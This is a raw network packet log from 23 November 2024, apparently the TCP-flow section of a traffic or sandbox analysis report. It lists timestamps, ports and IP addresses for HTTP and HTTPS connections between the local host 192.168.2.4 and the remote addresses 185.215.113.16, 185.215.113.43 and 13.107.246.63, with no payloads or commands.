Nov 23, 2024 20:23:12.821012020 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.821060896 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.821106911 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.821157932 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.821891069 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.822017908 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.822197914 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.822788954 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.822839022 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.822916985 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.822968006 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.823714018 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.823765039 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.823765993 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.823806047 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.824584961 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.824635029 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.824668884 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.824712992 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.825480938 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.825531960 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.825579882 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.825622082 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.826458931 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.826512098 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.826579094 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.826631069 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.827253103 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.827311039 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.827418089 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.827469110 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.828147888 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.828193903 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.828259945 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.828305006 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.829026937 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.829076052 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.829147100 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.829190016 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.829998016 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.830048084 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.830060959 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.830108881 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.830879927 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.830928087 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.831078053 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.831125975 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.831737041 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.831787109 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.831814051 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.831861019 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.832653046 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.832700968 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.832765102 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.832808971 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.833513021 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.833563089 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.833604097 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.833650112 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.834498882 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.834530115 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.834717989 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.835290909 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.835325003 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.835355043 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.835396051 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.836201906 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.836214066 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.836268902 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.837053061 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.837121964 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.837158918 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.837205887 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.837956905 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.838012934 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.838073969 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.838123083 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.838860989 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.838912964 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.838973999 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.839024067 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.839786053 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.839835882 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.839837074 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.839878082 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.840867043 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.840915918 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.897453070 CET	443	49769	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:12.898130894 CET	49769	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:12.898150921 CET	443	49769	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:12.898788929 CET	49769	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:12.898794889 CET	443	49769	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:12.926027060 CET	443	49767	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:12.926440954 CET	49767	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:12.926510096 CET	443	49767	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:12.926964998 CET	49767	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:12.926980019 CET	443	49767	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:12.927162886 CET	443	49766	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:12.927474022 CET	49766	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:12.927489042 CET	443	49766	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:12.927980900 CET	49766	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:12.927987099 CET	443	49766	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:12.973305941 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.973361015 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.973470926 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.973470926 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.973551989 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.973606110 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.973639965 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.973687887 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.974436045 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.974487066 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.974540949 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.974590063 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.975332022 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.975385904 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.975424051 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.975476027 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.976212025 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.976260900 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.976315022 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.976362944 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.977161884 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.977211952 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.977246046 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.977299929 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.978020906 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.978069067 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.978142977 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.978189945 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.978841066 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.978898048 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.980480909 CET	443	49768	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:12.980884075 CET	49768	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:12.980904102 CET	443	49768	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:12.981431007 CET	49768	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:12.981436968 CET	443	49768	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:12.992038012 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.992090940 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.992095947 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.992240906 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.992496014 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.992552996 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.992557049 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.992602110 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.993330002 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.993381023 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.993683100 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.993737936 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.993769884 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.993815899 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.994574070 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.994621992 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.994677067 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.994725943 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.995562077 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.995599031 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.995620012 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.995637894 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.996465921 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.996515989 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.996560097 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.996606112 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.997240067 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.997294903 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.997350931 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.997404099 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.998140097 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.998192072 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.998281956 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.998332024 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.999285936 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.999341011 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.999404907 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.999450922 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:13.000588894 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:13.000629902 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:13.000636101 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:13.000673056 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:13.001456976 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:13.001508951 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:13.001542091 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:13.001590014 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:13.002278090 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:13.002327919 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:13.002365112 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:13.002412081 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:13.002863884 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:13.002912998 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:13.002913952 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:13.002954006 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:13.003506899 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:13.003551006 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:13.003611088 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:13.003658056 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:13.004539013 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:13.004549980 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:13.004587889 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:13.005276918 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:13.005321026 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:13.005393982 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:13.005445957 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:13.006154060 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:13.006211042 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:13.006243944 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:13.006288052 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:13.007035017 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:13.007081985 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:13.007158041 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:13.007205963 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:13.007951021 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:13.008002043 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:13.008081913 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:13.008128881 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:13.008826017 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:13.008871078 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:13.008939028 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:13.008989096 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:13.009727001 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:13.009778976 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:13.009830952 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:13.009879112 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:13.010724068 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:13.010775089 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:13.010780096 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:13.010828018 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:13.011507034 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:13.011562109 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:13.011621952 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:13.011665106 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:13.012445927 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:13.012495041 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:13.012521029 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:13.012567043 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:13.013422966 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:13.013478041 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:13.013478041 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:13.013525009 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:13.014205933 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:13.014256954 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:13.014301062 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:13.014347076 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:13.015078068 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:13.015141010 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:13.015175104 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:13.015223026 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:13.015979052 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:13.016028881 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:13.016028881 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:13.016067028 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:13.016921043 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:13.016968966 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:13.017047882 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:13.017095089 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:13.017764091 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:13.017812967 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:13.017865896 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:13.017911911 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:13.018641949 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:13.018688917 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:13.018723011 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:13.018765926 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:13.260940075 CET	443	49770	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:13.264091015 CET	49770	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:13.264110088 CET	443	49770	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:13.264717102 CET	49770	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:13.264720917 CET	443	49770	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:13.366939068 CET	443	49769	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:13.366998911 CET	443	49769	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:13.367062092 CET	49769	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:13.373418093 CET	49769	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:13.373433113 CET	443	49769	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:13.373441935 CET	49769	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:13.373446941 CET	443	49769	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:13.381556034 CET	443	49767	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:13.381618023 CET	443	49767	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:13.381681919 CET	49767	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:13.393623114 CET	49767	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:13.393660069 CET	443	49767	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:13.393693924 CET	49767	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:13.393709898 CET	443	49767	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:13.402477026 CET	49771	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:13.402494907 CET	443	49771	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:13.402568102 CET	49771	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:13.404958963 CET	49771	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:13.404973030 CET	443	49771	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:13.407862902 CET	49772	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:13.407900095 CET	443	49772	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:13.407962084 CET	49772	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:13.408323050 CET	49772	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:13.408334970 CET	443	49772	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:13.436646938 CET	443	49768	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:13.436816931 CET	443	49768	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:13.436880112 CET	49768	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:13.436963081 CET	49768	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:13.436975002 CET	443	49768	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:13.436984062 CET	49768	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:13.436990023 CET	443	49768	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:13.440224886 CET	49773	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:13.440315008 CET	443	49773	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:13.440398932 CET	49773	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:13.440690994 CET	49773	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:13.440721989 CET	443	49773	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:13.444694996 CET	443	49766	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:13.444850922 CET	443	49766	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:13.444901943 CET	49766	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:13.444982052 CET	49766	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:13.444994926 CET	443	49766	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:13.445004940 CET	49766	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:13.445009947 CET	443	49766	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:13.452511072 CET	49774	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:13.452538967 CET	443	49774	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:13.452604055 CET	49774	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:13.452972889 CET	49774	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:13.452987909 CET	443	49774	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:13.870167971 CET	443	49770	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:13.870331049 CET	443	49770	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:13.870392084 CET	49770	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:13.881174088 CET	49770	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:13.881174088 CET	49770	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:13.881185055 CET	443	49770	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:13.881192923 CET	443	49770	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:13.884895086 CET	49775	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:13.885001898 CET	443	49775	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:13.885080099 CET	49775	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:14.001626968 CET	49775	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:14.001672983 CET	443	49775	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:15.260437012 CET	49759	80	192.168.2.4	185.215.113.43
Nov 23, 2024 20:23:15.261305094 CET	49776	80	192.168.2.4	185.215.113.43
Nov 23, 2024 20:23:15.318722963 CET	443	49774	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:15.319231987 CET	49774	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:15.319255114 CET	443	49774	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:15.319339037 CET	443	49771	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:15.319715023 CET	49774	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:15.319720030 CET	443	49774	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:15.319916964 CET	49771	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:15.319935083 CET	443	49771	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:15.320229053 CET	49771	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:15.320234060 CET	443	49771	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:15.326044083 CET	443	49773	13.107.246.63	192.168.2.4
